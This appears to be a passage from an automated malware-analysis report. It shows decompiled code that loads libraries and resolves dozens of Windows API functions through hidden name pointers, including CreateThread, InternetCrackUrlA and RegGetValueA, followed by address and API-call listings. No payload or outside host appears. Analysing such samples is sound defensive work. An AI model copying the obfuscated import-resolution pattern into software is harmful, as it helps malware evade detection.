					_t290 =  *0x41a52c; // 0x877c38
					_t379 =  *0x41aa64; // 0x73b60000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x877c68
					_t291 =  *0x41aa64; // 0x73b60000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x877c80
					_t175 =  *0x41aa64; // 0x73b60000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x875438
					_t381 =  *0x41aa64; // 0x73b60000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x877f80
					_t293 =  *0x41aa64; // 0x73b60000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x877ef0
					_t180 =  *0x41aa64; // 0x73b60000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x877d70
					_t383 =  *0x41aa64; // 0x73b60000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x877f98
					_t295 =  *0x41aa64; // 0x73b60000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x877ff8
					_t185 =  *0x41aa64; // 0x73b60000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x875338
					_t385 =  *0x41aa64; // 0x73b60000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x8751b8
					_t297 =  *0x41aa64; // 0x73b60000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x877e18
					_t190 =  *0x41aa64; // 0x73b60000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x877db8
					_t387 =  *0x41aa64; // 0x73b60000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x8751f8
					_t299 =  *0x41aa64; // 0x73b60000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x876f98
					_t195 =  *0x41aa64; // 0x73b60000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x877dd0
					_t389 =  *0x41aa64; // 0x73b60000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x877fb0
					_t301 =  *0x41aa64; // 0x73b60000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x875358
					_t200 =  *0x41aa64; // 0x73b60000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x875538
					_t391 =  *0x41aa64; // 0x73b60000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x8752f8
					_t303 =  *0x41aa64; // 0x73b60000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x877de8
					_t205 =  *0x41aa64; // 0x73b60000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x875518
					_t393 =  *0x41aa64; // 0x73b60000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x877d10
					_t305 =  *0x41aa64; // 0x73b60000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x875178
					_t210 =  *0x41aa64; // 0x73b60000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x875458
					_t395 =  *0x41aa64; // 0x73b60000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x73b60000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x73b60000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x73b60000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x73b60000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x73b60000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x877968
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x877bd8
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x877b30
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x877980
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x877a70
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x877a40
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x8779b0
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x877950
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x8779c8
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x8779f8
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x877a10
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x877bf0
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x877aa0
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x877728
					_t272 =  *0x41a964; // 0x770b0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x770b0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x770b0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x877e48
					_t355 =  *0x41a8d8; // 0x6f890000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x875418
					_t266 =  *0x41a8d8; // 0x6f890000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x875398
					_t112 =  *0x41a8d8; // 0x6f890000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x875378
					_t357 =  *0x41a8d8; // 0x6f890000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x877f68
					_t268 =  *0x41a8d8; // 0x6f890000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x875158
					_t117 =  *0x41a8d8; // 0x6f890000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x8753d8
					_t359 =  *0x41a8d8; // 0x6f890000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x875478
					_t270 =  *0x41a8d8; // 0x6f890000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x875198
					_t122 =  *0x41a8d8; // 0x6f890000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6f890000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x877fc8
					_t92 =  *0x41aaa8; // 0x745c0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x877e00
					_t348 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x8753f8
					_t259 =  *0x41aaa8; // 0x745c0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x8754f8
					_t97 =  *0x41aaa8; // 0x745c0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x877ea8
					_t350 =  *0x41aaa8; // 0x745c0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x877878
					_t261 =  *0x41aaa8; // 0x745c0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x8751d8
					_t102 =  *0x41aaa8; // 0x745c0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x875498
					_t352 =  *0x41aaa8; // 0x745c0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x877f50
					_t263 =  *0x41aaa8; // 0x745c0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x877f08
					_t107 =  *0x41aaa8; // 0x745c0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x877e90
					_t354 =  *0x41aaa8; // 0x745c0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x877d40
					_t254 =  *0x41a854; // 0x73ae0000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x8754b8
					_t85 =  *0x41a854; // 0x73ae0000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x877fe0
					_t345 =  *0x41a854; // 0x73ae0000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x875218
					_t256 =  *0x41a854; // 0x73ae0000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x877e30
					_t90 =  *0x41a854; // 0x73ae0000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x73ae0000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x877d28
					_t61 =  *0x41a988; // 0x76990000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x877e60
					_t335 =  *0x41a988; // 0x76990000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x8754d8
					_t246 =  *0x41a988; // 0x76990000
					 *0x41a948 = GetProcAddress(_t246, _t64);
					_t336 =  *0x41a274; // 0x875238
					_t66 =  *0x41a988; // 0x76990000
					 *0x41a8bc = GetProcAddress(_t66, _t336);
					_t247 =  *0x41a624; // 0x877e78
					_t337 =  *0x41a988; // 0x76990000
					 *0x41a898 = GetProcAddress(_t337, _t247);
					_t69 =  *0x41a2b8; // 0x877788
					_t248 =  *0x41a988; // 0x76990000
					 *0x41a880 = GetProcAddress(_t248, _t69);
					_t338 =  *0x41a5f0; // 0x877ec0
					_t71 =  *0x41a988; // 0x76990000
					 *0x41aa38 = GetProcAddress(_t71, _t338);
					_t249 =  *0x41a19c; // 0x877da0
					_t339 =  *0x41a988; // 0x76990000
					 *0x41a93c = GetProcAddress(_t339, _t249);
					_t74 =  *0x41a73c; // 0x877ed8
					_t250 =  *0x41a988; // 0x76990000
					 *0x41a9f0 = GetProcAddress(_t250, _t74);
					_t340 =  *0x41a254; // 0x877f20
					_t76 =  *0x41a988; // 0x76990000
					 *0x41a918 = GetProcAddress(_t76, _t340);
					_t251 =  *0x41a404; // 0x877848
					_t341 =  *0x41a988; // 0x76990000
					 *0x41a87c = GetProcAddress(_t341, _t251);
					_t79 =  *0x41a17c; // 0x875258
					_t252 =  *0x41a988; // 0x76990000
					 *0x41a9a8 = GetProcAddress(_t252, _t79);
					_t342 =  *0x41a154; // 0x877f38
					_t81 =  *0x41a988; // 0x76990000
					 *0x41a8d4 = GetProcAddress(_t81, _t342);
					_t253 =  *0x41a778; // 0x877d58
					_t343 =  *0x41a988; // 0x76990000
					_t17 = GetProcAddress(_t343, _t253);
					 *0x41a9f8 = _t17;
				}
				if( *0x41aa40 != 0) {
					_t60 =  *0x41a120; // 0x8763b8
					_t244 =  *0x41aa40; // 0x6e680000
					_t17 = GetProcAddress(_t244, _t60); // executed
					 *0x41a864 = _t17;
				}
				if( *0x41a94c != 0) {
					_t333 =  *0x41a3a0; // 0x875278
					_t59 =  *0x41a94c; // 0x76600000
					_t17 = GetProcAddress(_t59, _t333);
					 *0x41aa48 = _t17;
				}
				if( *0x41a934 != 0) {
					_t243 =  *0x41a354; // 0x875298
					_t332 =  *0x41a934; // 0x76ae0000
					_t17 = GetProcAddress(_t332, _t243);
					 *0x41a91c = _t17;
				}
				if( *0x41aa34 != 0) {
					_t50 =  *0x41a108; // 0x877240
					_t239 =  *0x41aa34; // 0x73870000
					 *0x41a95c = GetProcAddress(_t239, _t50);
					_t328 =  *0x41a710; // 0x8752b8
					_t52 =  *0x41aa34; // 0x73870000
					 *0x41aa18 = GetProcAddress(_t52, _t328);
					_t240 =  *0x41a510; // 0x877268
					_t329 =  *0x41aa34; // 0x73870000
					 *0x41a900 = GetProcAddress(_t329, _t240);
					_t55 =  *0x41a35c; // 0x875318
					_t241 =  *0x41aa34; // 0x73870000
					 *0x41a8e0 = GetProcAddress(_t241, _t55);
					_t330 =  *0x41a524; // 0x876ef8
					_t57 =  *0x41aa34; // 0x73870000
					 *0x41a8c0 = GetProcAddress(_t57, _t330);
					_t242 =  *0x41a0a0; // 0x877d88
					_t331 =  *0x41aa34; // 0x73870000
					_t17 = GetProcAddress(_t331, _t242);
					 *0x41aa60 = _t17;
				}
				if( *0x41aa80 != 0) {
					_t41 =  *0x41a2fc; // 0x878130
					_t235 =  *0x41aa80; // 0x6edb0000
					 *0x41a9c8 = GetProcAddress(_t235, _t41);
					_t324 =  *0x41a508; // 0x8781a8
					_t43 =  *0x41aa80; // 0x6edb0000
					 *0x41a924 = GetProcAddress(_t43, _t324);
					_t236 =  *0x41a540; // 0x8752d8
					_t325 =  *0x41aa80; // 0x6edb0000
					 *0x41aa30 = GetProcAddress(_t325, _t236);
					_t46 =  *0x41a214; // 0x85a768
					_t237 =  *0x41aa80; // 0x6edb0000
					 *0x41a888 = GetProcAddress(_t237, _t46);
					_t326 =  *0x41a794; // 0x8787d8
					_t48 =  *0x41aa80; // 0x6edb0000
					 *0x41a99c = GetProcAddress(_t48, _t326);
					_t238 =  *0x41a7d0; // 0x878238
					_t327 =  *0x41aa80; // 0x6edb0000
					_t17 = GetProcAddress(_t327, _t238);
					 *0x41aa08 = _t17;
				}
				if( *0x41a968 != 0) {
					_t37 =  *0x41a178; // 0x878250
					_t233 =  *0x41a968; // 0x76550000
					 *0x41aa4c = GetProcAddress(_t233, _t37);
					_t322 =  *0x41a69c; // 0x877888
					_t39 =  *0x41a968; // 0x76550000
					 *0x41a89c = GetProcAddress(_t39, _t322);
					_t234 =  *0x41a0e4; // 0x878280
					_t323 =  *0x41a968; // 0x76550000
					_t17 = GetProcAddress(_t323, _t234);
					 *0x41a90c = _t17;
				}
				if( *0x41aa98 != 0) {
					_t34 =  *0x41a270; // 0x878698
					_t232 =  *0x41aa98; // 0x750f0000
					 *0x41aa00 = GetProcAddress(_t232, _t34);
					_t321 =  *0x41a378; // 0x8782e0
					_t36 =  *0x41aa98; // 0x750f0000
					_t17 = GetProcAddress(_t36, _t321);
					 *0x41aa84 = _t17;
				}
				if( *0x41a938 != 0) {
					_t226 =  *0x41a3cc; // 0x8772b8
					_t316 =  *0x41a938; // 0x73130000
					 *0x41a8dc = GetProcAddress(_t316, _t226);
					_t23 =  *0x41a2a0; // 0x878638
					_t227 =  *0x41a938; // 0x73130000
					 *0x41a928 = GetProcAddress(_t227, _t23);
					_t317 =  *0x41a308; // 0x8771f0
					_t25 =  *0x41a938; // 0x73130000
					 *0x41a9e8 = GetProcAddress(_t25, _t317);
					_t228 =  *0x41a150; // 0x8780a0
					_t318 =  *0x41a938; // 0x73130000
					 *0x41aa2c = GetProcAddress(_t318, _t228);
					_t28 =  *0x41a4f4; // 0x878298
					_t229 =  *0x41a938; // 0x73130000
					 *0x41aa0c = GetProcAddress(_t229, _t28);
					_t319 =  *0x41a7c8; // 0x878578
					_t30 =  *0x41a938; // 0x73130000
					 *0x41a9b8 = GetProcAddress(_t30, _t319);
					_t230 =  *0x41a380; // 0x8785d8
					_t320 =  *0x41a938; // 0x73130000
					 *0x41a8f0 = GetProcAddress(_t320, _t230);
					_t33 =  *0x41a7b8; // 0x878178
					_t231 =  *0x41a938; // 0x73130000
					_t17 = GetProcAddress(_t231, _t33);
					 *0x41aa7c = _t17;
				}
				if( *0x41a97c != 0) {
					_t314 =  *0x41a174; // 0x8787f8
					_t20 =  *0x41a97c; // 0x76610000
					 *0x41a98c = GetProcAddress(_t20, _t314);
					_t225 =  *0x41a3d8; // 0x8788d8
					_t315 =  *0x41a97c; // 0x76610000
					_t17 = GetProcAddress(_t315, _t225);
					 *0x41a884 = _t17;
				}
				if( *0x41aa88 != 0) {
					_t18 =  *0x41a448; // 0x878088
					_t224 =  *0x41aa88; // 0x6e7a0000
					_t19 = GetProcAddress(_t224, _t18);
					 *0x41a990 = _t19;
					return _t19;
				}
				return _t17;
			}

0x0040c4aa
0x0040c4b0
0x0040c4b6
0x0040c4c3
0x0040c4c8
0x0040c4cf
0x0040c4db
0x0040c4e0
0x0040c4e7
0x0040c4f4
0x0040c4f9
0x0040c4ff
0x0040c50c
0x0040c511
0x0040c518
0x0040c524
0x0040c529
0x0040c530
0x0040c53d
0x0040c542
0x0040c548
0x0040c555
0x0040c55a
0x0040c561
0x0040c56d
0x0040c572
0x0040c579
0x0040c586
0x0040c58b
0x0040c591
0x0040c59e
0x0040c5a3
0x0040c5aa
0x0040c5b6
0x0040c5bb
0x0040c5c2
0x0040c5cf
0x0040c5d4
0x0040c5da
0x0040c5e7
0x0040c5ec
0x0040c5f3
0x0040c5ff
0x0040c604
0x0040c60b
0x0040c618
0x0040c61d
0x0040c623
0x0040c630
0x0040c635
0x0040c63c
0x0040c648
0x0040c64d
0x0040c654
0x0040c661
0x0040c666
0x0040c66c
0x0040c679
0x0040c67e
0x0040c685
0x0040c691
0x0040c696
0x0040c69d
0x0040c6aa
0x0040c6af
0x0040c6b5
0x0040c6c2
0x0040c6c7
0x0040c6ce
0x0040c6da
0x0040c6df
0x0040c6e6
0x0040c6f3
0x0040c6f8
0x0040c6fe
0x0040c70b
0x0040c710
0x0040c717
0x0040c723
0x0040c728
0x0040c72f
0x0040c73c
0x0040c741
0x0040c747
0x0040c754
0x0040c759
0x0040c760
0x0040c76c
0x0040c771
0x0040c778
0x0040c785
0x0040c78a
0x0040c790
0x0040c79d
0x0040c7a2
0x0040c7a9
0x0040c7b5
0x0040c7ba
0x0040c7c1
0x0040c7ce
0x0040c7d3
0x0040c7d9
0x0040c7e6
0x0040c7eb
0x0040c7f2
0x0040c7fe
0x0040c803
0x0040c80a
0x0040c817
0x0040c81c
0x0040c822
0x0040c82f
0x0040c834
0x0040c83b
0x0040c847
0x0040c84c
0x0040c853
0x0040c860
0x0040c865
0x0040c86b
0x0040c878
0x0040c87d
0x0040c884
0x0040c890
0x0040c895
0x0040c89c
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8c1
0x0040c8c6
0x0040c8cd
0x0040c8d9
0x0040c8de
0x0040c8e5
0x0040c8f2
0x0040c8f7
0x0040c8fd
0x0040c90a
0x0040c90f
0x0040c916
0x0040c922
0x0040c927
0x0040c92e
0x0040c93b
0x0040c940
0x0040c946
0x0040c953
0x0040c958
0x0040c95f
0x0040c96b
0x0040c970
0x0040c977
0x0040c984
0x0040c98e
0x0040c99a
0x0040c9a4
0x0040c9b1
0x0040c9bb
0x0040c9c8
0x0040c9d2
0x0040c9de
0x0040c9e8
0x0040c9f5
0x0040c9f5
0x0040c9fa
0x0040ca07
0x0040ca0c
0x0040ca12
0x0040ca18
0x0040ca1d
0x0040ca24
0x0040ca2a
0x0040ca2f
0x0040ca3c
0x0040ca41
0x0040ca47
0x0040ca4d
0x0040ca52
0x0040ca59
0x0040ca5f
0x0040ca64
0x0040ca6b
0x0040ca71
0x0040ca76
0x0040ca7c
0x0040ca82
0x0040ca87
0x0040ca8e
0x0040ca94
0x0040ca99
0x0040caa0
0x0040caa6
0x0040caab
0x0040cab1
0x0040cab7
0x0040cabc
0x0040cac3
0x0040cac9
0x0040cace
0x0040cad5
0x0040cadb
0x0040cae7
0x0040cae9
0x0040caef
0x0040cafc
0x0040cb06
0x0040cb13
0x0040cb1d
0x0040cb23
0x0040cb29
0x0040cb29
0x0040cb35
0x0040cb3b
0x0040cb42
0x0040cb4f
0x0040cb54
0x0040cb5a
0x0040cb67
0x0040cb6c
0x0040cb73
0x0040cb7f
0x0040cb84
0x0040cb8b
0x0040cb98
0x0040cb9d
0x0040cba3
0x0040cbb0
0x0040cbb5
0x0040cbbc
0x0040cbc8
0x0040cbcd
0x0040cbd4
0x0040cbe1
0x0040cbe6
0x0040cbec
0x0040cbf9
0x0040cbfe
0x0040cc05
0x0040cc11
0x0040cc1b
0x0040cc22
0x0040cc28
0x0040cc28
0x0040cc34
0x0040cc3a
0x0040cc41
0x0040cc4d
0x0040cc52
0x0040cc59
0x0040cc66
0x0040cc6b
0x0040cc71
0x0040cc7e
0x0040cc83
0x0040cc8a
0x0040cc96
0x0040cc9b
0x0040cca2
0x0040ccaf
0x0040ccb4
0x0040ccba
0x0040ccc7
0x0040cccc
0x0040ccd3
0x0040ccdf
0x0040cce4
0x0040cceb
0x0040ccf8
0x0040ccfd
0x0040cd03
0x0040cd10
0x0040cd15
0x0040cd1c
0x0040cd28
0x0040cd2d
0x0040cd34
0x0040cd3b
0x0040cd41
0x0040cd41
0x0040cd4d
0x0040cd53
0x0040cd59
0x0040cd66
0x0040cd6b
0x0040cd72
0x0040cd7e
0x0040cd83
0x0040cd8a
0x0040cd97
0x0040cd9c
0x0040cda2
0x0040cdaf
0x0040cdb4
0x0040cdbb
0x0040cdc7
0x0040cdd1
0x0040cdd8
0x0040cdde
0x0040cdde
0x0040cdea
0x0040cdf0
0x0040cdf7
0x0040ce03
0x0040ce08
0x0040ce0f
0x0040ce1c
0x0040ce21
0x0040ce27
0x0040ce34
0x0040ce39
0x0040ce40
0x0040ce4c
0x0040ce51
0x0040ce58
0x0040ce65
0x0040ce6a
0x0040ce70
0x0040ce7d
0x0040ce82
0x0040ce89
0x0040ce95
0x0040ce9a
0x0040cea1
0x0040ceae
0x0040ceb3
0x0040ceb9
0x0040cec6
0x0040cecb
0x0040ced2
0x0040cede
0x0040cee3
0x0040ceea
0x0040cef7
0x0040cefc
0x0040cf02
0x0040cf0f
0x0040cf14
0x0040cf1b
0x0040cf27
0x0040cf2c
0x0040cf33
0x0040cf3a
0x0040cf40
0x0040cf40
0x0040cf4c
0x0040cf4e
0x0040cf54
0x0040cf5b
0x0040cf61
0x0040cf61
0x0040cf6d
0x0040cf6f
0x0040cf76
0x0040cf7c
0x0040cf82
0x0040cf82
0x0040cf8e
0x0040cf90
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa4
0x0040cfb0
0x0040cfb6
0x0040cfbc
0x0040cfc9
0x0040cfce
0x0040cfd5
0x0040cfe1
0x0040cfe6
0x0040cfed
0x0040cffa
0x0040cfff
0x0040d005
0x0040d012
0x0040d017
0x0040d01e
0x0040d02a
0x0040d02f
0x0040d036
0x0040d03d
0x0040d043
0x0040d043
0x0040d04f
0x0040d055
0x0040d05b
0x0040d068
0x0040d06d
0x0040d074
0x0040d080
0x0040d085
0x0040d08c
0x0040d099
0x0040d09e
0x0040d0a4
0x0040d0b1
0x0040d0b6
0x0040d0bd
0x0040d0c9
0x0040d0ce
0x0040d0d5
0x0040d0dc
0x0040d0e2
0x0040d0e2
0x0040d0ee
0x0040d0f0
0x0040d0f6
0x0040d103
0x0040d108
0x0040d10f
0x0040d11b
0x0040d120
0x0040d127
0x0040d12e
0x0040d134
0x0040d134
0x0040d140
0x0040d142
0x0040d148
0x0040d155
0x0040d15a
0x0040d161
0x0040d167
0x0040d16d
0x0040d16d
0x0040d179
0x0040d17f
0x0040d186
0x0040d193
0x0040d198
0x0040d19e
0x0040d1ab
0x0040d1b0
0x0040d1b7
0x0040d1c3
0x0040d1c8
0x0040d1cf
0x0040d1dc
0x0040d1e1
0x0040d1e7
0x0040d1f4
0x0040d1f9
0x0040d200
0x0040d20c
0x0040d211
0x0040d218
0x0040d225
0x0040d22a
0x0040d230
0x0040d237
0x0040d23d
0x0040d23d
0x0040d249
0x0040d24b
0x0040d252
0x0040d25e
0x0040d263
0x0040d26a
0x0040d271
0x0040d277
0x0040d277
0x0040d283
0x0040d285
0x0040d28b
0x0040d292
0x0040d298
0x00000000
0x0040d298
0x0040d29e

APIs

GetProcAddress.KERNEL32(73B60000,00877B60), ref: 0040C4BD
GetProcAddress.KERNEL32(73B60000,00877938), ref: 0040C4D5
GetProcAddress.KERNEL32(73B60000,00875558), ref: 0040C4EE
GetProcAddress.KERNEL32(73B60000,00877908), ref: 0040C506
GetProcAddress.KERNEL32(73B60000,00877B90), ref: 0040C51E
GetProcAddress.KERNEL32(73B60000,00877A28), ref: 0040C537
GetProcAddress.KERNEL32(73B60000,00877BC0), ref: 0040C54F
GetProcAddress.KERNEL32(73B60000,00877B48), ref: 0040C567
GetProcAddress.KERNEL32(73B60000,00877A88), ref: 0040C580
GetProcAddress.KERNEL32(73B60000,00877AB8), ref: 0040C598
GetProcAddress.KERNEL32(73B60000,00877AD0), ref: 0040C5B0
GetProcAddress.KERNEL32(73B60000,00877AE8), ref: 0040C5C9
GetProcAddress.KERNEL32(73B60000,00877B00), ref: 0040C5E1
GetProcAddress.KERNEL32(73B60000,008756B8), ref: 0040C5F9
GetProcAddress.KERNEL32(73B60000,00877B18), ref: 0040C612
GetProcAddress.KERNEL32(73B60000,00875578), ref: 0040C62A
GetProcAddress.KERNEL32(73B60000,00877128), ref: 0040C642
GetProcAddress.KERNEL32(73B60000,00877C20), ref: 0040C65B
GetProcAddress.KERNEL32(73B60000,00875598), ref: 0040C673
GetProcAddress.KERNEL32(73B60000,00877C08), ref: 0040C68B
GetProcAddress.KERNEL32(73B60000,008755D8), ref: 0040C6A4
GetProcAddress.KERNEL32(73B60000,00877C50), ref: 0040C6BC
GetProcAddress.KERNEL32(73B60000,00877CC8), ref: 0040C6D4
GetProcAddress.KERNEL32(73B60000,00877C98), ref: 0040C6ED
GetProcAddress.KERNEL32(73B60000,00877CB0), ref: 0040C705
GetProcAddress.KERNEL32(73B60000,008753B8), ref: 0040C71D
GetProcAddress.KERNEL32(73B60000,00877C38), ref: 0040C736
GetProcAddress.KERNEL32(73B60000,00877C68), ref: 0040C74E
GetProcAddress.KERNEL32(73B60000,00877C80), ref: 0040C766
GetProcAddress.KERNEL32(73B60000,00875438), ref: 0040C77F
GetProcAddress.KERNEL32(73B60000,00877F80), ref: 0040C797
GetProcAddress.KERNEL32(73B60000,00877EF0), ref: 0040C7AF
GetProcAddress.KERNEL32(73B60000,00877D70), ref: 0040C7C8
GetProcAddress.KERNEL32(73B60000,00877F98), ref: 0040C7E0
GetProcAddress.KERNEL32(73B60000,00877FF8), ref: 0040C7F8
GetProcAddress.KERNEL32(73B60000,00875338), ref: 0040C811
GetProcAddress.KERNEL32(73B60000,008751B8), ref: 0040C829
GetProcAddress.KERNEL32(73B60000,00877E18), ref: 0040C841
GetProcAddress.KERNEL32(73B60000,00877DB8), ref: 0040C85A
GetProcAddress.KERNEL32(73B60000,008751F8), ref: 0040C872
GetProcAddress.KERNEL32(73B60000,00876F98), ref: 0040C88A
GetProcAddress.KERNEL32(73B60000,00877DD0), ref: 0040C8A3
GetProcAddress.KERNEL32(73B60000,00877FB0), ref: 0040C8BB
GetProcAddress.KERNEL32(73B60000,00875358), ref: 0040C8D3
GetProcAddress.KERNEL32(73B60000,00875538), ref: 0040C8EC
GetProcAddress.KERNEL32(73B60000,008752F8), ref: 0040C904
GetProcAddress.KERNEL32(73B60000,00877DE8), ref: 0040C91C
GetProcAddress.KERNEL32(73B60000,00875518), ref: 0040C935
GetProcAddress.KERNEL32(73B60000,00877D10), ref: 0040C94D
GetProcAddress.KERNEL32(73B60000,00875178), ref: 0040C965
GetProcAddress.KERNEL32(73B60000,00875458), ref: 0040C97E
GetProcAddress.KERNEL32(73B60000,CreateThread), ref: 0040C994
GetProcAddress.KERNEL32(73B60000,GetEnvironmentVariableA), ref: 0040C9AB
GetProcAddress.KERNEL32(73B60000,SetEnvironmentVariableA), ref: 0040C9C2
GetProcAddress.KERNEL32(73B60000,lstrcpyA), ref: 0040C9D8
GetProcAddress.KERNEL32(73B60000,lstrcpynA), ref: 0040C9EF
LoadLibraryA.KERNEL32(00877968,?,00406BAD), ref: 0040CA01
LoadLibraryA.KERNELBASE(00877BD8,?,00406BAD), ref: 0040CA12
LoadLibraryA.KERNELBASE(00877B30,?,00406BAD), ref: 0040CA24
LoadLibraryA.KERNEL32(00877980,?,00406BAD), ref: 0040CA36
LoadLibraryA.KERNELBASE(00877A70,?,00406BAD), ref: 0040CA47
LoadLibraryA.KERNELBASE(00877A40,?,00406BAD), ref: 0040CA59
LoadLibraryA.KERNELBASE(008779B0,?,00406BAD), ref: 0040CA6B
